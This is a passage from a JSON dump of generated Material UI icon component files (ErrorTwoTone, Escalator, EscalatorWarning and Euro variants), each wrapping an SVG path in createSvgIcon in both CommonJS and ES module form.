    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m1 13h-2v-2h2zm0-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-1-5h2v2h-2zm0-8h2v6h-2z\"\n}, \"1\")], 'ErrorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ErrorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m1 13h-2v-2h2zm0-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-1-5h2v2h-2zm0-8h2v6h-2z\"\n}, \"1\")], 'ErrorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Escalator.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 6h-1.7l-5 9H7c-.83 0-1.5-.67-1.5-1.5S6.17 15 7 15h1.7l5-9H17c.83 0 1.5.67 1.5 1.5S17.83 9 17 9\"\n}), 'Escalator');"
  },
  {
    "path": "packages/mui-icons-material/lib/Escalator.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 6h-1.7l-5 9H7c-.83 0-1.5-.67-1.5-1.5S6.17 15 7 15h1.7l5-9H17c.83 0 1.5.67 1.5 1.5S17.83 9 17 9\"\n}), 'Escalator');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 3h-3.3l-5 9H7c-.83 0-1.5.67-1.5 1.5S6.17 18 7 18h3.3l5-9H17c.83 0 1.5-.67 1.5-1.5S17.83 6 17 6\"\n}), 'EscalatorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 3h-3.3l-5 9H7c-.83 0-1.5.67-1.5 1.5S6.17 18 7 18h3.3l5-9H17c.83 0 1.5-.67 1.5-1.5S17.83 6 17 6\"\n}), 'EscalatorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 6h-1.7l-4.71 8.49c-.18.31-.52.51-.88.51H7c-.83 0-1.5-.67-1.5-1.5S6.17 15 7 15h1.7l4.71-8.49c.18-.31.52-.51.88-.51H17c.83 0 1.5.67 1.5 1.5S17.83 9 17 9\"\n}), 'EscalatorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 6h-1.7l-4.71 8.49c-.18.31-.52.51-.88.51H7c-.83 0-1.5-.67-1.5-1.5S6.17 15 7 15h1.7l4.71-8.49c.18-.31.52-.51.88-.51H17c.83 0 1.5.67 1.5 1.5S17.83 9 17 9\"\n}), 'EscalatorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-2.5 6h-3.2l-5 9H5.5v-3h3.2l5-9h4.8z\"\n}), 'EscalatorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-2.5 6h-3.2l-5 9H5.5v-3h3.2l5-9h4.8z\"\n}), 'EscalatorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm-2 1h-3.3l-5 9H7c-.83 0-1.5.67-1.5 1.5S6.17 18 7 18h3.3l5-9H17c.83 0 1.5-.67 1.5-1.5S17.83 6 17 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 3h-3.3l-5 9H7c-.83 0-1.5.67-1.5 1.5S6.17 18 7 18h3.3l5-9H17c.83 0 1.5-.67 1.5-1.5S17.83 6 17 6\"\n}, \"1\")], 'EscalatorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm-2 1h-3.3l-5 9H7c-.83 0-1.5.67-1.5 1.5S6.17 18 7 18h3.3l5-9H17c.83 0 1.5-.67 1.5-1.5S17.83 6 17 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 3h-3.3l-5 9H7c-.83 0-1.5.67-1.5 1.5S6.17 18 7 18h3.3l5-9H17c.83 0 1.5-.67 1.5-1.5S17.83 6 17 6\"\n}, \"1\")], 'EscalatorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarning.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m3 2.5h-2.84c-.58.01-1.14.32-1.45.86l-.92 1.32L9.72 8c-.37-.63-1.03-.99-1.71-1H5c-1.1 0-2 .9-2 2v6h1.5v7h5V11.61L12.03 16h2.2l.77-1.1V22h4v-5h1v-3.5c0-.82-.67-1.5-1.5-1.5\"\n}), 'EscalatorWarning');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarning.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m3 2.5h-2.84c-.58.01-1.14.32-1.45.86l-.92 1.32L9.72 8c-.37-.63-1.03-.99-1.71-1H5c-1.1 0-2 .9-2 2v6h1.5v7h5V11.61L12.03 16h2.2l.77-1.1V22h4v-5h1v-3.5c0-.82-.67-1.5-1.5-1.5\"\n}), 'EscalatorWarning');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m3 2.5h-2.84c-.58.01-1.14.32-1.45.86l-.92 1.32L9.72 8c-.37-.63-1.03-.99-1.71-1H5c-1.1 0-2 .9-2 2v6h1.5v7h5V11.61L12.03 16h2.2l.77-1.1V22h4v-5h1v-3.5c0-.82-.67-1.5-1.5-1.5\"\n}), 'EscalatorWarningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m3 2.5h-2.84c-.58.01-1.14.32-1.45.86l-.92 1.32L9.72 8c-.37-.63-1.03-.99-1.71-1H5c-1.1 0-2 .9-2 2v6h1.5v7h5V11.61L12.03 16h2.2l.77-1.1V22h4v-5h1v-3.5c0-.82-.67-1.5-1.5-1.5\"\n}), 'EscalatorWarningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m3 2.5h-2.84c-.58.01-1.14.32-1.45.86l-.92 1.32L9.72 8c-.37-.63-1.03-.99-1.71-1H5c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h.5v6c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-9.39l2.24 3.89c.18.31.51.5.87.5h1.1c.33 0 .63-.16.82-.43l.47-.67V21c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-4c.55 0 1-.45 1-1v-2.5c0-.82-.67-1.5-1.5-1.5\"\n}), 'EscalatorWarningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m3 2.5h-2.84c-.58.01-1.14.32-1.45.86l-.92 1.32L9.72 8c-.37-.63-1.03-.99-1.71-1H5c-1.1 0-2 .9-2 2v5c0 .55.45 1 1 1h.5v6c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-9.39l2.24 3.89c.18.31.51.5.87.5h1.1c.33 0 .63-.16.82-.43l.47-.67V21c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-4c.55 0 1-.45 1-1v-2.5c0-.82-.67-1.5-1.5-1.5\"\n}), 'EscalatorWarningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m-1.29 3.36-.92 1.32L9.72 8c-.35-.62-1.01-1-1.73-1H3v8h1.5v7h5V11.61L12.03 16h2.2l.77-1.1V22h4v-5h1v-5h-4.15c-.66 0-1.27.32-1.64.86\"\n}), 'EscalatorWarningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m-1.29 3.36-.92 1.32L9.72 8c-.35-.62-1.01-1-1.73-1H3v8h1.5v7h5V11.61L12.03 16h2.2l.77-1.1V22h4v-5h1v-5h-4.15c-.66 0-1.27.32-1.64.86\"\n}), 'EscalatorWarningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m3 2.5h-2.84c-.58.01-1.14.32-1.45.86l-.92 1.32L9.72 8c-.37-.63-1.03-.99-1.71-1H5c-1.1 0-2 .9-2 2v6h1.5v7h5V11.61L12.03 16h2.2l.77-1.1V22h4v-5h1v-3.5c0-.82-.67-1.5-1.5-1.5\"\n}), 'EscalatorWarningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EscalatorWarningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5S17.83 8 17 8s-1.5.67-1.5 1.5m3 2.5h-2.84c-.58.01-1.14.32-1.45.86l-.92 1.32L9.72 8c-.37-.63-1.03-.99-1.71-1H5c-1.1 0-2 .9-2 2v6h1.5v7h5V11.61L12.03 16h2.2l.77-1.1V22h4v-5h1v-3.5c0-.82-.67-1.5-1.5-1.5\"\n}), 'EscalatorWarningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Euro.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 18.5c-2.51 0-4.68-1.42-5.76-3.5H15l1-2H8.58c-.05-.33-.08-.66-.08-1s.03-.67.08-1H15l1-2H9.24C10.32 6.92 12.5 5.5 15 5.5c1.61 0 3.09.59 4.23 1.57L21 5.3C19.41 3.87 17.3 3 15 3c-3.92 0-7.24 2.51-8.48 6H3l-1 2h4.06c-.04.33-.06.66-.06 1s.02.67.06 1H3l-1 2h4.52c1.24 3.49 4.56 6 8.48 6 2.31 0 4.41-.87 6-2.3l-1.78-1.77c-1.13.98-2.6 1.57-4.22 1.57\"\n}), 'Euro');"
  },
  {
    "path": "packages/mui-icons-material/lib/Euro.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 18.5c-2.51 0-4.68-1.42-5.76-3.5H15l1-2H8.58c-.05-.33-.08-.66-.08-1s.03-.67.08-1H15l1-2H9.24C10.32 6.92 12.5 5.5 15 5.5c1.61 0 3.09.59 4.23 1.57L21 5.3C19.41 3.87 17.3 3 15 3c-3.92 0-7.24 2.51-8.48 6H3l-1 2h4.06c-.04.33-.06.66-.06 1s.02.67.06 1H3l-1 2h4.52c1.24 3.49 4.56 6 8.48 6 2.31 0 4.41-.87 6-2.3l-1.78-1.77c-1.13.98-2.6 1.57-4.22 1.57\"\n}), 'Euro');"
  },
  {
    "path": "packages/mui-icons-material/lib/EuroOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 18.5c-2.51 0-4.68-1.42-5.76-3.5H15l1-2H8.58c-.05-.33-.08-.66-.08-1s.03-.67.08-1H15l1-2H9.24C10.32 6.92 12.5 5.5 15 5.5c1.61 0 3.09.59 4.23 1.57L21 5.3C19.41 3.87 17.3 3 15 3c-3.92 0-7.24 2.51-8.48 6H3l-1 2h4.06c-.04.33-.06.66-.06 1s.02.67.06 1H3l-1 2h4.52c1.24 3.49 4.56 6 8.48 6 2.31 0 4.41-.87 6-2.3l-1.78-1.77c-1.13.98-2.6 1.57-4.22 1.57\"\n}), 'EuroOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EuroOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 18.5c-2.51 0-4.68-1.42-5.76-3.5H15l1-2H8.58c-.05-.33-.08-.66-.08-1s.03-.67.08-1H15l1-2H9.24C10.32 6.92 12.5 5.5 15 5.5c1.61 0 3.09.59 4.23 1.57L21 5.3C19.41 3.87 17.3 3 15 3c-3.92 0-7.24 2.51-8.48 6H3l-1 2h4.06c-.04.33-.06.66-.06 1s.02.67.06 1H3l-1 2h4.52c1.24 3.49 4.56 6 8.48 6 2.31 0 4.41-.87 6-2.3l-1.78-1.77c-1.13.98-2.6 1.57-4.22 1.57\"\n}), 'EuroOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EuroRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 18.5c-2.51 0-4.68-1.42-5.76-3.5h5.14c.38 0 .73-.21.89-.55.33-.66-.15-1.45-.89-1.45h-5.8c-.05-.33-.08-.66-.08-1s.03-.67.08-1h5.8c.38 0 .73-.21.89-.55.34-.67-.14-1.45-.89-1.45H9.24C10.32 6.92 12.5 5.5 15 5.5c1.25 0 2.42.36 3.42.97.5.31 1.15.26 1.57-.16.58-.58.45-1.53-.25-1.96C18.36 3.5 16.73 3 15 3c-3.92 0-7.24 2.51-8.48 6h-2.9c-.38 0-.73.21-.9.55-.33.67.15 1.45.9 1.45h2.44c-.04.33-.06.66-.06 1s.02.67.06 1H3.62c-.38 0-.73.21-.89.55-.34.67.14 1.45.89 1.45h2.9c1.24 3.49 4.56 6 8.48 6 1.74 0 3.36-.49 4.74-1.35.69-.43.82-1.39.24-1.97-.42-.42-1.07-.47-1.57-.15-.99.62-2.15.97-3.41.97\"\n}), 'EuroRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EuroRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 18.5c-2.51 0-4.68-1.42-5.76-3.5h5.14c.38 0 .73-.21.89-.55.33-.66-.15-1.45-.89-1.45h-5.8c-.05-.33-.08-.66-.08-1s.03-.67.08-1h5.8c.38 0 .73-.21.89-.55.34-.67-.14-1.45-.89-1.45H9.24C10.32 6.92 12.5 5.5 15 5.5c1.25 0 2.42.36 3.42.97.5.31 1.15.26 1.57-.16.58-.58.45-1.53-.25-1.96C18.36 3.5 16.73 3 15 3c-3.92 0-7.24 2.51-8.48 6h-2.9c-.38 0-.73.21-.9.55-.33.67.15 1.45.9 1.45h2.44c-.04.33-.06.66-.06 1s.02.67.06 1H3.62c-.38 0-.73.21-.89.55-.34.67.14 1.45.89 1.45h2.9c1.24 3.49 4.56 6 8.48 6 1.74 0 3.36-.49 4.74-1.35.69-.43.82-1.39.24-1.97-.42-.42-1.07-.47-1.57-.15-.99.62-2.15.97-3.41.97\"\n}), 'EuroRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EuroSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 18.5c-2.51 0-4.68-1.42-5.76-3.5H15l1-2H8.58c-.05-.33-.08-.66-.08-1s.03-.67.08-1H15l1-2H9.24C10.32 6.92 12.5 5.5 15 5.5c1.61 0 3.09.59 4.23 1.57L21 5.3C19.41 3.87 17.3 3 15 3c-3.92 0-7.24 2.51-8.48 6H3l-1 2h4.06c-.04.33-.06.66-.06 1s.02.67.06 1H3l-1 2h4.52c1.24 3.49 4.56 6 8.48 6 2.31 0 4.41-.87 6-2.3l-1.78-1.77c-1.13.98-2.6 1.57-4.22 1.57\"\n}), 'EuroSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EuroSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 18.5c-2.51 0-4.68-1.42-5.76-3.5H15l1-2H8.58c-.05-.33-.08-.66-.08-1s.03-.67.08-1H15l1-2H9.24C10.32 6.92 12.5 5.5 15 5.5c1.61 0 3.09.59 4.23 1.57L21 5.3C19.41 3.87 17.3 3 15 3c-3.92 0-7.24 2.51-8.48 6H3l-1 2h4.06c-.04.33-.06.66-.06 1s.02.67.06 1H3l-1 2h4.52c1.24 3.49 4.56 6 8.48 6 2.31 0 4.41-.87 6-2.3l-1.78-1.77c-1.13.98-2.6 1.57-4.22 1.57\"\n}), 'EuroSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EuroSymbol.js",
